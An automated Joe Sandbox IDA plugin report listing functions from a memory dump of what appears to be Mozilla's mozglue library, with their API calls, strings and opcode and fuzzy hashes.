Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2cebaedb484c70a188821eb52c692e0a9214679e0f142bd851be08a105b5fc83
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: FE321532B146118FC718DE2CC891A56BBE6AFCA310F09867DE895CB395E734ED05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD58A4B

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 48a02bdea9ace6aaa41545c9508b98a223320d87c91bd6389882013b1a96f274
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 3CB1E872E0121ACFDF14CF68CC907A9B7B2EF85314F5402A9C589DB7A5E7309996CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD5925C

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: d1937fc694b30666c1407d4514d65adb38fa9f1d128ab83e303ef04809dff7f4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F5B1C572E4120ACFDF14CF58CC816ADB7B2EF85314F540269C949DB795D730A99ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CD26D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26E1E

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction ID: 7999d793bf09942075dcfb875459b0dde19ea753480ce0bf3f6d79be2c4fc6dc
Opcode Fuzzy Hash: ba80bd1af26f218d4a3bd1b5613598a4ee36644c5acaba721a1c099c88222f8b
Instruction Fuzzy Hash: E7A18F70618380DFDB25CF24C4847AEBBE1BF89308F45495DE98A87761DB74E849CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD04640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CD04777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CD05585, 6CD055A8, 6CD055C3, 6CD05624

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction ID: c6f7844e31e08284677b4dd1e8a8deb958c211ea86eb5debe3a5632093165fff
Opcode Fuzzy Hash: 4678940e03ca9f43f988d323d287557dff6870c00ac6c8e937d59b932bcbd7ae
Instruction Fuzzy Hash: E5B26D71B05A01CFD708CF2DC590A15BBE2BFC5324B29C7ADE8698B6A5D771E841CB84

Uniqueness

Uniqueness Score: -1.00%

Function 6CD485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD48C7C
__aulldiv.LIBCMT ref: 6CD48DD7

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 4eee0ef6eecc047571100c52f150a06693ffe060198e9347979d39412a68abe2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A8326C71F011198BDF18CF9CC8A17AEB7B2FB88340F15852AD606FB7A4DA349D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD25C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CCF4A63,?,?), ref: 6CD25F06

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction ID: 104a7af53bbac46169f44f8b900d877137956f6f476c44cb73d235898f965e0a
Opcode Fuzzy Hash: 3101088812d60394ad2e43c56414e1a74c3b443594dc56e5292f284b1eb89da8
Instruction Fuzzy Hash: 05C1D375D01209CBCB14CF55C190AEEBBF2FF8A318F28815DD9556BB58E736A805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: aee9dffd717466164c8ee57be1a91744c193b7432408eb7432dd5745ce3fca93
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 9E321871E10619CFCF14CF98C880AADFBB2BF88304FA58169C459A7755D731A996CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD56E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: c92e283ba1348c049a8811a586e746a2064f5c415095d04125b58c8f82b8f31d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3922E575E10219CFCF14CF98C880AADF7B2BF88304F6581AAC949A7755D731A996CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD10512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3b3de164a2cd7f01dd44c83a82e121dd96ac60a3c00acfed36eeb8cc2f89c31e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 1E221671E04669CFDB14CF98D890AADF7B2FF88304F548299D44AA7B15D730A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction ID: e3795ad9fd58464f6746a6a82bbbaeb257cd5fd5d41619d24d9c3888d67f4eb6
Opcode Fuzzy Hash: 46a747892af231c953369191542cea344b079548dc3f5db10db408ee4ac98a02
Instruction Fuzzy Hash: 24F137716083559FDF00CF28C8807BAB7E2AFC5318F948A1DE4D9877E1E375985587A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 260080f8db1e199289f0738ad4c27de481006ae9c1023e1f8902b2dc3394a122
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 43A18F71F0061A8BDB08CE69C8913AEBBF2AFCD354F198169D915E7785DB349C068B90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CD1E1A5), ref: 6CD45606
LoadLibraryW.KERNEL32(gdi32,?,6CD1E1A5), ref: 6CD4560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CD45633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CD4563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CD4566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CD4567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CD45696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CD456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CD456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CD456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CD456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CD45716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CD4572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CD45748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CD45761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CD4577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CD45793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CD457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CD457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CD457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CD457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CD457FF

Strings

StretchDIBits, xrefs: 6CD457CC
SetWindowPos, xrefs: 6CD456F7
ReleaseDC, xrefs: 6CD45742
GetSystemMetricsForDpi, xrefs: 6CD45677
LoadIconW, xrefs: 6CD4575B
GetDpiForWindow, xrefs: 6CD45690
EnableNonClientDpiScaling, xrefs: 6CD45666
MonitorFromWindow, xrefs: 6CD4578D
DeleteObject, xrefs: 6CD457F9
gdi32, xrefs: 6CD4560A
CreateSolidBrush, xrefs: 6CD457E4
GetMonitorInfoW, xrefs: 6CD457A2
AreDpiAwarenessContextsEqual, xrefs: 6CD45637
GetWindowDC, xrefs: 6CD45710
RegisterClassW, xrefs: 6CD456AC
GetThreadDpiAwarenessContext, xrefs: 6CD4562D
LoadCursorW, xrefs: 6CD45774
FillRect, xrefs: 6CD45729
user32, xrefs: 6CD45601
SetWindowLongPtrW, xrefs: 6CD457B7
ShowWindow, xrefs: 6CD456DE
CreateWindowExW, xrefs: 6CD456C5

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction ID: ded32634a784e821f1f6230e8ab76dbb5dd3c1ad2961318a350cc642bceb39f8
Opcode Fuzzy Hash: c5b8d0aba39bc0c0422e86bd9398e0f29b9c5a19d3d1bab92b069a05e61d3346
Instruction Fuzzy Hash: DD51F075651712AFBB015F378D54A367ABCAB06245F10842ABB51E2AA2FF74DC04CF70

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CCF582D), ref: 6CD2CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CCF582D), ref: 6CD2CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD5FE98,?,?,?,?,?,6CCF582D), ref: 6CD2CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF582D), ref: 6CD2CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CD2CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CD2CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CD2CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CD2CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CD2CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CD2CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CD2CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CD2CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CD2CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CD2CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CD2CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CD2CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CD2CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CD2CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CD2CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CD2CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CD2CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CD2CE8A

Strings

java, xrefs: 6CD2CC37
samplingallthreads, xrefs: 6CD2CE2C
fileioall, xrefs: 6CD2CCA8
power, xrefs: 6CD2CE84
ipcmessages, xrefs: 6CD2CDBE
audiocallbacktracing, xrefs: 6CD2CDD4
screenshots, xrefs: 6CD2CCD4
fileio, xrefs: 6CD2CC92
default, xrefs: 6CD2CC21
leaf, xrefs: 6CD2CC66
markersallthreads, xrefs: 6CD2CE42
preferencereads, xrefs: 6CD2CD92
Unrecognized feature "%s"., xrefs: 6CD2CEA0
nativeallocations, xrefs: 6CD2CDA8
unregisteredthreads, xrefs: 6CD2CE58
mainthreadio, xrefs: 6CD2CC7C
notimerresolutionchange, xrefs: 6CD2CE00
processcpu, xrefs: 6CD2CE6E
nostacksampling, xrefs: 6CD2CD7C
cpuallthreads, xrefs: 6CD2CE16
jsallocations, xrefs: 6CD2CD0E
stackwalk, xrefs: 6CD2CCF8
seqstyle, xrefs: 6CD2CCE6
noiostacks, xrefs: 6CD2CCBE

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction ID: 76873674676fa9d40ea9fe720322936cb6a1463e0f7043e0c94debf8a7fed3b3
Opcode Fuzzy Hash: b47fca3f83a6bbeda5a939c604ca1b386cf7f8d9836866dafe095467b6b086cf
Instruction Fuzzy Hash: 495189C1A4522952FF0033156D10BAA2445EBD728EF504436DF49A5EB1FB0DEE2DC5B7

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCF4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CCF44B2,6CD6E21C,6CD6F7F8), ref: 6CCF473E
Part of subcall function 6CCF4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CCF474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CCF44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CCF44D2
InitOnceExecuteOnce.KERNEL32(6CD6F80C,6CCEF240,?,?), ref: 6CCF451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCF455C
LoadLibraryW.KERNEL32(?), ref: 6CCF4592
InitializeCriticalSection.KERNEL32(6CD6F770), ref: 6CCF45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CCF45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CCF45BB
InitOnceExecuteOnce.KERNEL32(6CD6F818,6CCEF240,?,?), ref: 6CCF4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CCF4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CCF4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF466D
VerSetConditionMask.NTDLL ref: 6CCF469F
VerSetConditionMask.NTDLL ref: 6CCF46AB
VerSetConditionMask.NTDLL ref: 6CCF46B2
VerSetConditionMask.NTDLL ref: 6CCF46B9
VerSetConditionMask.NTDLL ref: 6CCF46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CCF46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CCF46FD

Strings

NativeNtBlockSet_Write, xrefs: 6CCF46F7
kernel32.dll, xrefs: 6CCF44CD
user32.dll, xrefs: 6CCF4557, 6CCF463F
l, xrefs: 6CCF4578
WRusr.dll, xrefs: 6CCF44B5

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction ID: 98d2e79864b96562aee835fe2b5ebc38f03dfd382a5570da27f938f87a975554
Opcode Fuzzy Hash: 3d9282854bc3b2f8f7c4f9a75aca96000e295bb5ad2ff89dace598408f0a87b0
Instruction Fuzzy Hash: 5E61F6B0604244AFFB10EF62CD05BA5BBBCFF46308F148559E6149BAA1E7B09946CF71

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule
